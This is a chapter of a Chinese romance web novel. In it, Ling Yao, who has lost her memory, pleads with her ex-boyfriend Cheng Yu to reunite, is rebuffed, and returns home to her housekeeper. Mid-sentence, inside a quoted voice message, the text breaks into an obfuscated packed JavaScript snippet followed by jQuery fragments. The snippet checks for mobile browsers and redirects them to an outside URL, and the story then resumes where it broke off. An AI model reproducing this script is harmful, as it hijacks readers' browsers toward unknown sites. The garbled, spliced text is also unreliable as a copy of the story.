程昱见她一直没说话，伸手在她眼前晃了晃，笑道：“凌瑶，你没事吧？怎么一副魂不守舍的样子？”


    凌瑶这才回过神来。


    程昱的态度很客气，也很温和，让人心旷神怡。


    看样子，两个人分手时并没有闹僵，算是好聚好散。


    这个年纪的程昱，正是轻熟男的黄金时期。


    往上能吸引三十多岁的女性，往下也能让大学生心动，前后十多岁的年龄都可以网杀。


    和项臻屿那种压迫感不同，程昱身上透着一股和煦与舒畅。


    虽不似十几岁时那般风华正茂，却依然正气标致。


    总之肯定是丈母娘喜欢的好女婿类型。


    凌瑶的爸妈如果见到他，大概会更喜欢吧。


    当初和他恋爱时，还没来得及告诉家里。


    如果顺着时间发展下去，家里没有出事，嫁给程昱，或许真的是一件很好很好的事。


    她勉强挤出一个笑容：“没事，就是有点……有点意外。”


    “意外什么？”程昱挑了挑眉，语气轻松，“意外我留校了，还是意外我变丑了？”


    凌瑶摇摇头：“意外我们没有走到最后。”


    程昱笑了，笑容里带着释然，不夹杂一丝情绪：“凌瑶，我们在一起的时间那么短，你应该不会记得这么久吧。”


    怎么会忘记呢？


    那是她第一次那么认真地喜欢一个人。


    “那时候我们都太年轻了，很多事情都不懂。现在想想，可能只是青春里的一段插曲吧。”


    程昱的语气轻描淡写，从头到尾都是一副撇清关系的模样。


    凌瑶忍不住问道：“你是怕项臻屿？”


    程昱笑了：“你是不是在安乐窝待久了，不怎么看新闻？大学里有丑闻私情出轨，可是会被做成几百页PPT的。”


    言外之意，她根本不值得他重续前缘。


    程昱一向好强，是家里的顶梁柱，也是周围邻居的榜样，不会做一丝一点的出格之事。


    他们之间，似乎已经没有了继续下去的可能。不会再像大学时的情侣那样，牵着手逛遍校园。


    也不会再像从前那样，坐在图书馆的角落里，偷偷分享一副耳机，听着同一首歌。


    那些属于青春的美好，早已被时间冲刷得模糊不清。


    可是她记得清清楚楚，而他，早就忘了。


    凌瑶低下头，心里一阵酸涩。


    程昱的话像一根刺，扎在她心里，隐隐作痛。


    她知道，他说得对。


    他们之间早已没有了继续的可能，甚至连回忆都变得奢侈。


    因为她有丈夫，有孩子；而他，有女朋友，有身份。


    即便离婚也不可能在一起。


    凌瑶不甘心的问道：“她是谁？是于琳琳吗？”


    当年追求程昱的人太多了。


    于琳琳是明目张胆，而她则是暗搓搓。


    陈洁曾对她说：“凌瑶，你眼睛真瞎啊，程昱很明显喜欢的是于琳琳，别费功夫了。”


    可最后，胜出的却是她。


    这些事，就在几天前。


    不知为何，大概是因为时间流逝带来的彷徨与迷茫，凌瑶的眼泪突然涌了出来。


    她上前一步，拉住程昱的衣袖：“我要你分手，我也离婚，我们继续谈恋爱好不好？”


    程昱感觉这剧情太离奇，皱着眉，完全不知道眼前的人演的哪一出：“凌瑶，你别害我呀，你这是干嘛呀？是你自己要跟我分手的，关我什么事啊，我可没有得罪你。”


    她身上确实有吸引人的气质，养在富贵窝里，容貌除了成熟一点，几乎没什么变化。眼睛依然明亮，没有受到一丝浑浊与摧残。


    没有人会拒绝富婆。


    除非项臻屿不杀人放火。


    程昱说道：“不是，你演的还是真的？上次你跟项臻屿来学校捐款，在车里亲了多久全校人都看到了。”


    “？”


    程昱继续说道：“不是，你演的还是真的？上次你跟项臻屿来学校捐款，在车里亲了多久，全校人都看到了。”


    凌瑶：“......？”


    豪车，俊男美女，晚上和学校领导吃完饭，司机开车，他们在后座。或许是因为要吹风，车窗开了一点，两个人低头亲了很久。


    照片都有。


    凌瑶已经无法直视未来的自己了。


    她脸不红心不跳的说道：“那你当做不存在行不行，程昱，我真的很想和你在一起。”


    在大一的时候追求程昱的时候，什么话没说过？其他人死皮赖脸，她是见面装模作样茶里茶气，什么程昱你为什么那么好，为什么那么厉害，我不想打扰你，等等。


    实际见她一面，背后激动的跳一百次。


    程昱十分正人君子，赶紧甩开衣袖，拿出手机准备录制证据。


    人好不容易得到的财富和地位，不会轻易放手的。


    他录制视频冠冕堂皇的说着：“项太太别这样。我们都已经不是当年的我们了。你有你的家庭，我有我的生活。都过去很多年了，彼此不要打扰是最好的。”


    镜头里的凌瑶倔强的看着镜头，一副受了委屈悲怆的样子。


    程昱继续说道：“凌瑶，当初你是提出分手的，是你变心主动去喜欢他的。当然，我也不是怪你，毕竟你们现在是夫妻，一直感情深厚，而且科研组还在用你们捐赠的经费。我无意打扰，完全不明白你这是那一处。”


    摇晃的镜头中，凌瑶额前的头发随风吹起。


    她内心依然对他怀有喜欢，脑海中还是他肆意飞扬的模样。即便现在他变成了这样，她还是忍不住移情到他身上。


    她知道，自己现在的行为可能看起来很可笑，甚至有些荒唐。


    程昱的话像一把锐利的刀，刺破了她所有的幻想和期待，让她不得不面对现实。


    凌瑶站在那里，看着程昱，心中的情感如同翻涌的海浪，一时之间竟不知该如何是好。


    清风吹过，给她带来了片刻的清醒。


    她其实是挤出来一些眼泪，三分的深情七分的演绎，人是会产生不甘的。


    女人的泪水，男人的酒杯。


    可惜，程昱还是一副防备的样子，丝毫不是凌瑶从前追求他时，看见梨花带雨就会说：“好了，好了，我投降。”


    凌瑶不甘心，那当然也没办法。


    毕竟看样子，谁都怕她那个老公。


    用着他捐赠的科研费，不能撬别人的老婆啊。


    凌瑶委屈巴巴地离开学校，转过身时，看到程昱还在录制，仿佛在记录她的每一个表情和动作。


    痴线啊你。


    今天，她已经骂了两个白痴男人。


    凌瑶叫了车，低头看微信时候，发现项臻屿发了一张香港维多利亚港的图片，镜头是从酒店内侧往外拍的。


    点开看了下图片，没有回复。


    手一划拉，看到置顶，两个人的聊天记录。


    凌瑶大部分发的语音，项臻屿一半语音一半文字。


    不过倒是都回复很及时。


    随意点开一听。


    “老公，你什么时候回


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15190258|165570||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来？”


    “老公，我好爱你。”


    “老公，我错了。”


    “项臻屿，你根本爱的不是我，不是我，是一个虚幻的人，你被我骗了，呜呜呜。”


    凌瑶：“......”


    一条条语音播放出来，她的声音带着醉意，软糯而含糊，像是撒娇，又像是抱怨。


    其实手机里他们之间太多的暧昧与东西，凌瑶就是不想去看。


    尴尬恐惧症都犯了。


    出租车来后，她立刻关掉手机。


    爹的，真吓人。


    为了避免继续尴尬和好奇，凌瑶立刻清空了聊天记录。


    车子缓缓驶入市区，窗外的霓虹灯映在她的脸上，忽明忽暗。


    凌瑶靠在座椅上，再次打电话和微信给爸妈。


    还是没人接。


    都发了几十个语音了，都没回复。


    回想项臻屿说这一年多自己发疯难受，天天以酒度日，该不会......


    所以回给老公的第一句就是【我爸爸妈妈死了吗？】


    项臻屿：......


    随后打字过来【别犯病。】


    凌瑶手指在屏幕上快速敲击：【那他们为什么不接我电话？我发了那么多消息，他们一条都没回。】


    项臻屿的回复很快：【他们在国外，信号不好，可能没看到。】


    凌瑶：【现在都20后了，全球通一体化了，还没信号啊。】


    【香港信号好，你也没回发一条。】


    凌瑶发了一个“哼”，感觉不太对，有撒娇的意思，立刻撤回发了一句：【嗯，知道了。】


    相当不愉快的一次对话。


    回到家后，秀姨已经和大厨师傅在厨房忙活。


    进门后，秀姨拿来拖鞋，凌瑶赶紧摆手：“不用不用。”


    这种享受消受不起啊。


    落地窗在中午的阳光下格外明亮，阳台上高处挂的吊兰，随风微微摆动。


    真让人舒适。


    可惜凌瑶没功夫就欣赏，扶着下巴看着窗外发呆。


    凌瑶站在落地窗前，目光透过玻璃，落在远处的高楼和天空的交界线上。阳光洒在她的脸上，暖洋洋的。


    她的思绪依旧停留在与程昱的对话中，那些未尽的话语、未解的情绪，像一团乱麻，绕在心上。


    “太太，喝点茶吧，刚泡的。”


    不知什么时候秀姨端着一杯热茶走了过来。


    凌瑶回过神来，接过茶杯，勉强笑了笑：“我不喜欢喝茶。”


    凌瑶的话让秀姨愣了一下，随即她笑了笑，语气温和：“那我给您换杯果汁吧，刚榨的橙汁，很新鲜。”


    她也不喜欢鲜榨的果汁，喜欢雪碧和咖啡。


    很快端来了一杯橙汁，递给她：“太太，您尝尝，很甜的。”


    凌瑶接过橙汁，抿了一口，酸甜的味道在舌尖蔓延开来，好难喝啊。


    她勉强笑了笑：“很好喝，谢谢秀姨。”


    秀姨看着她，眼神中带着一丝担忧：“太太，您今天看起来心情不太好，是不是有什么烦心事？”


    凌瑶是不喜欢别人打探隐私的。


    尬笑一下。


    秀姨说道：“项先生走之前嘱托我要好好照顾太太起居和情绪，不好意思啊，我多问了。”


    凌瑶捧着橙汁靠在阳台玻璃，笑着问道：“阿姨，你又兼职心理咨询师又要做那么多家务事，给你多少工资呀。”


    不得一两万。


    “哦，三万多。”


    “啊？”凌瑶震惊的看着她。